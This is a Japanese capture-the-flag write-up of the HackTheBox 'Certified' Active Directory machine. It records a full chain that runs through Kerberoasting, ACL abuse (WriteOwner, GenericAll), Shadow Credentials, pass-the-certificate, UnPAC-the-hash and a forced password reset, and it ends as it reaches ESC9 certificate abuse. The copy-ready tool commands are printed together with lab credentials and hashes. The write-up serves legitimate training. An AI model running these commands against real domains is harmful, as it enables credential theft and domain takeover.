HTB Certified Writeup

# 概要
HackTheBoxのリタイアマシンCertifiedのWriteupです。

https://app.hackthebox.com/machines/Certified

![Certified.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/e723dce0-f26e-4910-92d9-bee5a87aa37e.png)

難易度 : Medium
OS : Windows

OSがWindowsでさらに名前からしてADCSを悪用するタイプのActive Directoryマシンだと思われます。

# 初期情報

マシンを起動するとバナーが表示され認証情報を渡されました。いままで最初から認証情報を渡されるタイプのマシンはやったことがなかったので少しびっくりしました。

![image-20241104145629461.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/71c715c0-edf4-42fb-8f2f-60dd08edfc1c.png)

この認証情報を使用して進めていきます。
```
judith.mader:judith09
```

# Enumration
## Nmap
```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ nmap -sV -p- --min-rate 10000 10.10.11.41 -oN Nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 20:36 JST
Nmap scan report for certified.htb (10.10.11.41)
Host is up (0.20s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-14 11:36:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49718/tcp open  msrpc         Microsoft Windows RPC
49740/tcp open  msrpc         Microsoft Windows RPC
49795/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.19 seconds
```

やはりActive Directoryマシンでしたが、webサーバーは動いていないみたいです。 スキャン結果からドメインを見つけたので /etc/hosts に追加しておきます。
```
10.10.11.41	certified.htb
```

## ドメイン情報

digコマンドでドメイン情報を取得します。
```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ dig any certified.htb @10.10.11.41

; <<>> DiG 9.20.4-4-Debian <<>> any certified.htb @10.10.11.41
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18660
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;certified.htb.			IN	ANY

;; ANSWER SECTION:
certified.htb.		600	IN	A	10.10.11.41
certified.htb.		3600	IN	NS	dc01.certified.htb.
certified.htb.		3600	IN	SOA	dc01.certified.htb. hostmaster.certified.htb. 165 900 600 86400 3600

;; ADDITIONAL SECTION:
dc01.certified.htb.	3600	IN	A	10.10.11.41

;; Query time: 351 msec
;; SERVER: 10.10.11.41#53(10.10.11.41) (TCP)
;; WHEN: Fri Mar 14 20:42:54 JST 2025
;; MSG SIZE  rcvd: 140
```
ネームサーバー**dc01.certified.htb**が分かったのでhostsファイルに追加しておきます。

## SMB
netexecでドメインユーザーの列挙を行います。
```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec smb certified.htb -u "judith.mader" -p "judith09" --users
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.10.11.41     445    DC01             Administrator                 2024-05-13 14:53:16 0       Built-in account for administering the computer/domain 
SMB         10.10.11.41     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.10.11.41     445    DC01             krbtgt                        2024-05-13 15:02:51 0       Key Distribution Center Service Account 
SMB         10.10.11.41     445    DC01             judith.mader                  2024-05-14 19:22:11 0        
SMB         10.10.11.41     445    DC01             management_svc                2024-05-13 15:30:51 0        
SMB         10.10.11.41     445    DC01             ca_operator                   2024-05-13 15:32:03 0        
SMB         10.10.11.41     445    DC01             alexander.huges               2024-05-14 16:39:08 0        
SMB         10.10.11.41     445    DC01             harry.wilson                  2024-05-14 16:39:37 0        
SMB         10.10.11.41     445    DC01             gregory.cameron               2024-05-14 16:40:05 0        
SMB         10.10.11.41     445    DC01             [*] Enumerated 9 local users: CERTIFIED
```

つづいて共有フォルダを見てみます

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec smb certified.htb -u "judith.mader" -p "judith09" --shares 
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             [*] Enumerated shares
SMB         10.10.11.41     445    DC01             Share           Permissions     Remark
SMB         10.10.11.41     445    DC01             -----           -----------     ------
SMB         10.10.11.41     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.41     445    DC01             C$                              Default share
SMB         10.10.11.41     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.41     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.41     445    DC01             SYSVOL          READ            Logon server share
```

SYSVOL, NETLOGON にアクセスできます。しかしsmbclientで覗いてみましたがとくに使えそうなものはありませんでした。

## kerberoasting

judith.maderでkerberoastingを実行し、ドメインユーザーのパスワードハッシュを取得できないか試します。

その前にターゲットマシンと時間を同期しないとケルベロス認証に失敗してしまうので、以下のコマンドで時間を同期します。

```bash
sudo ntpdate -u 10.10.11.41
```

vmを使っている場合は、ホストと時刻を同期する機能が動いている場合があるので先にその機能を無効にしてあげる必要があります。

```bash
timedatectl set-ntp off
```

時刻の設定が出来たら攻撃を実行します。
```
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ impacket-GetUserSPNs certified.htb/judith.mader:judith09 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName               Name            MemberOf                                    PasswordLastSet             LastLogon  Delegation 
---------------------------------  --------------  ------------------------------------------  --------------------------  ---------  ----------
certified.htb/management_svc.DC01  management_svc  CN=Management,CN=Users,DC=certified,DC=htb  2024-05-14 00:30:51.476756  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$f72fbfd394fbefe69a1592581adcb232$bc454398056835b1fc13b134a2abe2c865ae4cd5267365ca140d4f854838601ea53d3927bdb8530c134faff25fc84c57b729d77c6a77b0667b338e5587f157b27badf49a1966cfb4486312bbe51326b6b1a0a51b0f5a1c15d60d24b29ea42c5e6bdc562498d52d03ffbdb6a4663a45bbc1f0dbf24736136fd92644e6049b0929ba9556e4319666028eab92e62fffb5f6a566f6460050444f3a078bf6d8e78ea14242e9e1d95f333708103fdcbe862f796b9527aa5329aa942c63dcfe9be928b077ff3b3c9a562333a5bf4d313baa7b8026cce8e5ac03dfce90e0d4603620b029c76f3ebf477f4db7cf2ef67555655e32f7781a1fa755d9768a99ab6c53e5f1a13ded8d1d6e2f4223c19e1ab50a41c515f45ae5a608cdcfe11ade8c381a899b1b9bb8329861fd8112a262258b404c73711927ef064a699736f0e516bb87cfe705f41739cd584b36d22a1345372bb7c8a9efde9951c4064541ab4edd30dfdb8a1c7311730f7941d2dcb491cdfb13a46b10cff006ce29162c7594e010188a39c34e07d78f0a163e1aeb43b069fdf91a94d069ab1ba995a9611a544676419ee90cf5923b66ab39613ca824a1d44f5e3b5165293a0b678d40e8c668f5781269c7a5c32bd17fd7cf5a6da94c0554211aa75165d9d44cc24bfc08764b0f4e3ff043c8a8f7fe89df19dc12e706ffa629a06c312360dc311a4b301299c26ff97904a79751adff6dbb2f596014d3d2c292ae6829807274c7fe8feb7273d4a2b8c9192464d33cd7b7114087b6e3215e3946f967fd22e481c8d5d8b55d97055630ddcb19869f4127765390f3ce44fca38a619401fb50d36deb92d8855601bed404f6d0870a0755c9d4516e0b4569f6dd0efd8256785f46a64752bf13ec2ada036086ed117e62d7b34c2dea6fbba9e195d14203ed7f8df65406765c01cb77fa8350d490add89dcedfbbcb45b59b597ccdf1f6eed2a20e775a72a4c8612572ffbf52ea12c3216e3d1e5e833f037679c1429c559107ea855da89658d83180f1b664fe9fb00589e14702822a3a87e2f1dd85f9259f8af4becbce73059cb2b2c2495cc117b5417fc26ebb804f95f0f59fe61057d77e5a2120560456eb24bcae5aec580c3d9870277d5677daad1d50ec9b259d104ffbda005ec830e065ed919fe3b750871027764c10ecfc09ed17fc6fb12cc068521ef526788a4dd8b793b3323cad53bd5b92fcf53f5f9eb33ede3aaddb88e9210927a19c10b49f54e409447bce9616b8c7ff9080d685235909550b379a6d6237af0ec60a5fb5c92407205e38250c2519aaaa896e800abbec016caf3df74b66a5726deebe52c482d5c9c827d367c9d30b096b3846d358ed32464da0636600d44902c0f23f08887142224a17edcb6affb6eabe800dd0041abaa2b51ec51509d7b9b783d09dc1be55f34f33deb907349a3c9a8f4b32fef2bbab1ae9ab5349db54ee981dd8659b49785dc89bc38e4e323d5d43b4ebd2592536db9d3787333af6be2b8a0514902f8decff4a82436fe029d4a7bfc53215b615014640f87e30b8778e73f230981ccb1fa755e0705268bab2bd
```

netexecでもできます。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec ldap certified.htb -u "judith.mader" -p "judith09" --kerberoasting hash.txt
LDAP        10.10.11.41     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09 
LDAP        10.10.11.41     389    DC01             Bypassing disabled account krbtgt 
LDAP        10.10.11.41     389    DC01             [*] Total of records returned 1
LDAP        10.10.11.41     389    DC01             sAMAccountName: management_svc memberOf: CN=Management,CN=Users,DC=certified,DC=htb pwdLastSet: 2024-05-14 00:30:51.476756 lastLogon:<never>
LDAP        10.10.11.41     389    DC01             $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$816c9c52c10fdb4aebac0673dd11146e$bd57109e1c17f4c2c5ac02d85423b3f77bf33a259a888766c598a358ae38975d8ed72186f0ce11b575d9dea4273a7dd51926580211c0895e6d9ac9d0157aa804e441cc795f238a060361cd906bfd8f86c4e71ec856278b16aded24e9ed5fc5e55beb1ffe56b2be4fb1adea6c05b2298a82805133e4e0c1c93f8a1095eb5cc5943d126f30030217d8d09bf47cad2e0c5e4b14bd33ac7d1f5e8c6c9a0a321d7a862c83599c44ca3fe8344d11ffd37e6b0a4d4bfb7393bda7b54ce55cd659861bfba5772c11a167ac5eba962a0b9d17aeaf7eb5d04783a9104b4cf90da3c74341ac991f3451d5b248bf1b2bdeabd6c76df896bdf7508f6c41b0fff36ee68553868d94dd48f346d37301fbe5c9ebe0d152292cdd9aa3d5eee3b8c09901861e0ae33c136ce5a6e7cf977c39fc4d6eb2328524a94dd2c4875aaa8944c558b8bfefca6b3e7443f86b2e1df9754a4d95797bafd7851b8a2b2b7595535f59a1dba48abb35403d37e9188f22526bc5048ae2644aa291a452060e2bc62d16e6f7499c2ae658f484796dca0d0a28bd9182542039454ff039b683d87110de1d78e3cab424f0a01fe1ca0e01fedef1f5ae944d000657a0463da69790240b28d0224242eb0cd8cae4bccea3aeb0f59c991b1f41e7fd70cd86b5b294f6dbd981ceaa351ab1955e14a343d94ac55326118dfa758599cc3e4854a3f118c2be7fa36ea4ae0f7d5dcce1187db89399c8fd68e80e36da3f2b4189e9005d10ff5e999b40a828edcf4c4cd9d53760e44672531db153754dd0d2e4c440c2059fed409bc31bc35061215e613beef45328ad0c985e9614c5d55d44fdd8ba32469413e1977bb436c0ff22411a144251ab74a460e0653db51aaf6dcae6602c8eebbb72d9c6036b437a7979e1820faf3e55c42ac1190ea69b2df08d797d6847de7b0d16b3148f4b4e1be9642d81667f6512d2ea41eda0364f2b53de8c5a3c1c2766e69c08b36b9b051bf60941f1a78ec94b2d1aba47fcab2d22c7592574962b00ebf3a8b8d101bf8dae851fe717442146f7735d30bf6e42517cd12fe204fe37748fc756db777d149f9aec9ae3689d3f74cb3465dc259749750b6246e946f38eedbe150e12cd7b99de483dfe488987f7eab4cf7119e4570a03d841ade22da7d0640330ee0d9c2faf8cb32ccec221fac5ec23a4601e761731708d5d943b7200c73876235e7a24aa98a475aa2e282db4d8dd906fb6be2803a6c0dbde018e3a540e2a3b50cf64235fc3d597dce488883363ccf08742a64f5aa2d5caab324029cd0a2dd65e343bf3612ba14bccbca956a522427eee71561380fd63c900a98433fa5bc0156de388d631edd80c5f73e720a98720818fb963ea74066a19ac7f102ee87683747fadcf02b4d2b9fd80ce053bc3737aaec87557d4e4a4b94d6455765b6ad4d296280ae8334e2ea921b3eaafc8890b2b4bfb99e4283c23b150d71605215e83ce47b6e46a3264a3d5a2761d4d2aed0e2d233b0f48c82eb3d7f38f698324c8c1ee04991344364731481ac3e829ab909c1ebfc0d3176c0df71f56b5ae6eefa45408d2fecd9a6a539e02
```

management_svc のハッシュ値を取得できました。しかし、hashcatで解析してみましたが、解析はできませんでした。

## BloodHound

つづいてBloodHoundで列挙していきます。
bloodhound-pythonで情報を集めます。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodhound-python -d certified.htb -u "judith.mader" -p "judith09" -dc dc01.certified.htb -ns 10.10.11.41 --zip -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 46S
INFO: Compressing output into 20250314211238_bloodhound.zip
```

netexecでもできます。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec ldap certified.htb -u "judith.mader" -p "judith09" --bloodhound --collection All --dns-server 10.10.11.41
LDAP        10.10.11.41     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09 
LDAP        10.10.11.41     389    DC01             Resolved collection methods: dcom, group, psremote, trusts, container, acl, rdp, session, localadmin, objectprops
LDAP        10.10.11.41     389    DC01             Done in 00M 44S
LDAP        10.10.11.41     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.41_2025-03-14_211422_bloodhound.zip
```

BloodHoundを起動してzipファイルをアップロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ee44956f-2379-4964-9659-2898bac0c019.png)

現在制御できるのは judith.mader のみなのでこいつの持っている権限を見てみます。

judith.mader は Management というグループオブジェクトに対して WriteOwner の権限を持っています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/13fe59bb-7881-4cbe-9fa7-155f3aac6881.png)

そして、Management グループは management_svc に対して GenericWrite の権限を持っています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c2a45e5a-fa24-4cb6-91ce-379ee8002ec4.png)

management_svc は ca_operator に対してGenericAll の権限を持っています

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/e5db86e0-4caf-454c-ae17-33bbf5e5dfb7.png)

次に ca_operator ですがオブジェクトに対して持っている権限は何もありませんでした。名前に CAとついているので、こいつからADCSを悪用することでAdministratorに昇格するものと思われます。

# 攻撃シナリオ
得られた情報をまとめると、予想されるシナリオは以下のようになると思われます。

1. judith.maderのWriteOwner権限を悪用してにMnagementの所有権を自分自身に与える
2. 所有権を取得できたので、自分自身に AddMember 権限を与える
3. judith.maderをManagementのグループメンバーに追加
4. GenericWrite権限を悪用し、management_svcからNTLMハッシュを取得する
5. ca_operatorのパスワードを変更し、ca_operatorを乗っ取る

ca_operatorからは情報がまだありませんがとりあえず ca_operatorの侵害 を目指します。

# 水平展開
## WriteOwnerの悪用
impacket-owneredit を使用することで自分自身に所有権を与えることができます。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ impacket-owneredit -action write -new-owner "judith.mader" -target "Management" certified.htb/judith.mader:judith09
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
```

所有権を与えることに成功しました。 続いて judith.maderをManagement グループに追加 します。

その前にグループにメンバーを追加できるように権限を与えます。 これには impacket-dacledit を使用します。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ impacket-dacledit -action "write" -rights "FullControl" -principal "judith.mader" -target "Management" certified.htb/judith.mader:judith09
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250314-213308.bak
[*] DACL modified successfully!
```

現在の Management のメンバー一覧を出力する

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ net rpc group members "Management" -U certified.htb/"judith.mader"%"judith09" -S 10.10.11.41
CERTIFIED\management_svc
```

judith.maderをメンバーに追加

```bash
net rpc group addmem "Management" "judith.mader" -U certified.htb/"judith.mader"%"judith09" -S 10.10.11.41
```

追加されたか確認

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ net rpc group members "Management" -U certified.htb/"judith.mader"%"judith09" -S 10.10.11.41              
CERTIFIED\judith.mader
CERTIFIED\management_svc
```

### 他のツールを使用する

他にも bloodyAD というツールがあるのですが、これもなかなか便利でよく使っています。以下は bloodyADで一連の操作を行うものです。

https://github.com/CravateRouge/bloodyAD

所有権を自分自身に与える

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" set owner "Management" "judith.mader"
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on Management
```

メンバーを追加できる権限を与える

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" add genericAll "Management" "judith.mader"
[+] judith.mader has now GenericAll on Management
```

メンバーに追加

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" add groupMember "Management" "judith.mader"
[+] judith.mader added to Management
```

## Shadow Credentials

Shadow Credentials とは攻撃者が Active Directoryアカウントに挿入して、変更されたアカウントへのアクセスを取得または維持する資格情報です。これらは、ターゲットユーザーまたはコンピューターの msDS-KeyCredentialLink 属性に不正な証明書またはキーを追加することに関連しています。これにより、パスワードがリセットされた場合でも、そのユーザーとして認証できます。

msDS-KeyCredentialLink 属性とはパスワードなしの認証のための生の暗号データを保存して、ユーザーまたはコンピュータオブジェクトにリンクする Active Directory 属性です。

Shadow Credentialsを悪用するには pywhisker を使用します。

https://github.com/ShutdownRepo/pywhisker

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ pywhisker -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: b4cae790-0107-4fb1-8c50-8e4f716cb253
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: lNR55Oli.pfx
[*] Must be used with password: N5bhtamnAnLKczV3nIsv
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
```
## Pass the Certificate

これらを使用して management_svc のTGTを要求します(Pass-The-Certificate攻撃)。 PKINITtools の gettgtpkinit.py を使用します。

https://github.com/dirkjanm/PKINITtools

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ gettgtpkinit -cert-pfx lNR55Oli.pfx -pfx-pass N5bhtamnAnLKczV3nIsv certified.htb/management_svc management_svc.ccache
gettgtpkinit -cert-pfx lNR55Oli.pfx -pfx-pass N5bhtamnAnLKczV3nIsv certified.htb/management_svc management_svc.ccache
2024-11-05 00:03:34,021 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-05 00:03:34,037 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-05 00:03:57,992 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-05 00:03:57,992 minikerberos INFO     d123466485575ea98cee19cbb59bcc915c798d403f6bf63c17df919d9f559723
INFO:minikerberos:d123466485575ea98cee19cbb59bcc915c798d403f6bf63c17df919d9f559723
2024-11-05 00:03:57,999 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
```

取得したTGTをエクスポートします。

```bash
export KRB5CCNAME=management_svc.ccache
```

エクスポートしたTGTは klist というコマンドで確認できます。
```
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ klist                                                        
Ticket cache: FILE:management_svc.ccache
Default principal: management_svc@CERTIFIED.HTB

Valid starting       Expires              Service principal
2025-03-14T00:22:13  2025-03-14T10:22:13 krbtgt/CERTIFIED.HTB@CERTIFIED.HTB
```

## UnPAC the hash

TGT が取得され、AS-REP encryption key が抽出されると、同じくPKINITtools の getnthash.pyを使用して NTLMハッシュを復元できます(UnPAC-The-Hash攻撃)。 AS-REP encryption keyは gettgtpkinit.pyで発行されます。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ getnthash -key d123466485575ea98cee19cbb59bcc915c798d403f6bf63c17df919d9f559723 certified.htb/management_svc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
```

## Certipyを使ったShadow Credentials攻撃

Certipyを使うとこの一連の作業を自動でしてくれます。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ certipy-ad shadow auto -u judith.mader@certified.htb -p judith09 -account management_svc
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'a6d42778-3e84-7a7c-c67d-a66eb2e67b66'
[*] Adding Key Credential with device ID 'a6d42778-3e84-7a7c-c67d-a66eb2e67b66' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID 'a6d42778-3e84-7a7c-c67d-a66eb2e67b66' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
```

こっちのほうが楽です。

## GenericAllの悪用

management_svcのNTLMハッシュを取得したのでmanagement_svcとしてca_operatorのパスワードを変更します。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ pth-net rpc password "ca_operator" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S 10.10.11.41
Enter new password for ca_operator:
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
```

プロンプトが起動するので新しいパスワード Password123 を入力します。

bloodyADを使う場合

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d certified.htb -u "management_svc" -p :a091c1832bcdd4677c28b5a6a1295584 set password "ca_operator" "Password123"
[+] Password changed successfully!
```

変更したパスワードが機能するか確認します。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec smb 10.10.11.41 -u "ca_operator" -p "Password123"
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\ca_operator:Password123
```

# 特権昇格（Privilege Escalation）

無事 ca_operator に水平展開できたので次は Administratorを目指します。 ADCSに脆弱なテンプレートがないか列挙を行います。

```bash
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ certipy-ad find -dc-ip 10.10.11.41 -u ca_operator@certified.htb -p "Password123" -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
```

CertifiedAuthentication というテンプレートに ESC9 が検出されました。

## ESC9 (No Security Extension)
